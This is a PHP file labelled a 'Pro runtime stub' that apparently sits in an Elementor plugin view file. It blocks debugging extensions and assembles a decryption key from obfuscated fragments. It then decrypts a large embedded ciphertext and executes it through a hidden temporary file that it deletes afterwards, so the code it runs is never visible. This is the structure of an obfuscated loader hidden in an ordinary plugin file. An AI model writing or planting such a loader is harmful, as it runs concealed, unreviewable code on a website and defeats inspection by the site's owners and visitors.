<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["Q+bgR53UJk0=","w0ItNonTH\/M=","hMKyNWBDX\/I=","v\/z2D6HNLFg="]', true);
$__MASKS = json_decode('["XHmTDO8q7iw=","qn54c54xbYI=","trmqucmTw4Y=","WQLnadsYFn4="]', true);
$__ROT   = json_decode('[1,5,6,5]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('33rA0nIYYFBI4aI1nbwZLyRJ6BO8KxF7');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9tb2R1bGVzL2NvbXBhdGliaWxpdHktdGFnL3ZpZXdzL3BsdWdpbi11cGRhdGUtbWVzc2FnZS1jb21wYXRpYmlsaXR5LnBocCIsInRzIjoxNzU2NjkzNzE0LCJleHBpcmVzIjowLCJkb21haW5zIjpbIml0c2hvbWFyLmlyIl0sIm9ubGluZSI6MCwid3AiOjEsImFsZ28iOiJ4Y2hhY2hhMjBwb2x5MTMwNV9pZXRmIn0=');
$__CT    = base64_decode('hqvOQumDU2iKdRbVIrjUoBDcplP419ruGREL2wWeu+iUYb3uQr/ksssAwJb+G4bq+NWB935YGdUV3rjg9g77sOhBVuAOIrGiHWC758B6zroS9mwaci9LIJw0NijpqYZRl72A0aiKGhDkMlOrEZ/0J/RZBaJuwJw/fNtNE8NbSAYaEuVD0C9rUJ74Vr9ioq0DdI0OH3uKYhSpBlTxmacZjrHza2o+SEr/QgqpI2U0LkQQ2NEDx0vlA4p/eI3H6RHLpUjeNYCTNCeJ60QHqjfjp7ah6oR43AeLPQESlkKliCr0gMTHDfTq4IHZA+VYheVtR/CD78KsZViGoefw+AKC0DgE/94J8THlTe5Wlsv4zC5pYqkaqsFNSZ5FqEYG1ysPzpKgYugYIfsaz0YI9lkvI9KeHdgA4cA7m+Mc0uYu4jyKGxqVt6mKSlBY1iOYtmPn/SlcBALkdf/Ok0UE/1NIKivXHC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2wSxeEeQ6nfC4g1ocYuKqib9NosMyaOgCfgthWA8LbPUU8PRycIc9QMg22uZia3QGAbB7Ij5BqNRT7PPLFVwQAjwsb/FAwqcqgvJh49ewmzzJWrDPIju3Du1/ZCakRxeWiLTmRUp+LXLRM5ieb+DeMshKkXNkZzezY7IK+KMicvQBw9k/cjQ+N5l4XQwQb9kdJRzhy7EG7VQWF4r1WQPV568ilbWvahnsN3z50nYXPgi/mlogNKMPYJaq5Jvec382l3ozbrotGVNSwGzP13yEQGQXnKPsBIc8pBYokMi1VyAE2bKSoU5ffJ21L6L5DToyTRmpeFeWXS0cdesKrD2Lvdw1/jUM1');

// Signature verification
$__PK  = base64_decode('+mUNEDBjf5bwKtpfRpQkq0wgo8+t8j3OYM+vhxuq0kA=');
$__SIG = base64_decode('kCIvk+iHIzFvR0SeM6bdir/+kNvGl9Qn1IX/FSXpN5thhxROOO8Xl5ApxE3LrIK7L6IUPghnXHHZfLM5dl9DBA==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
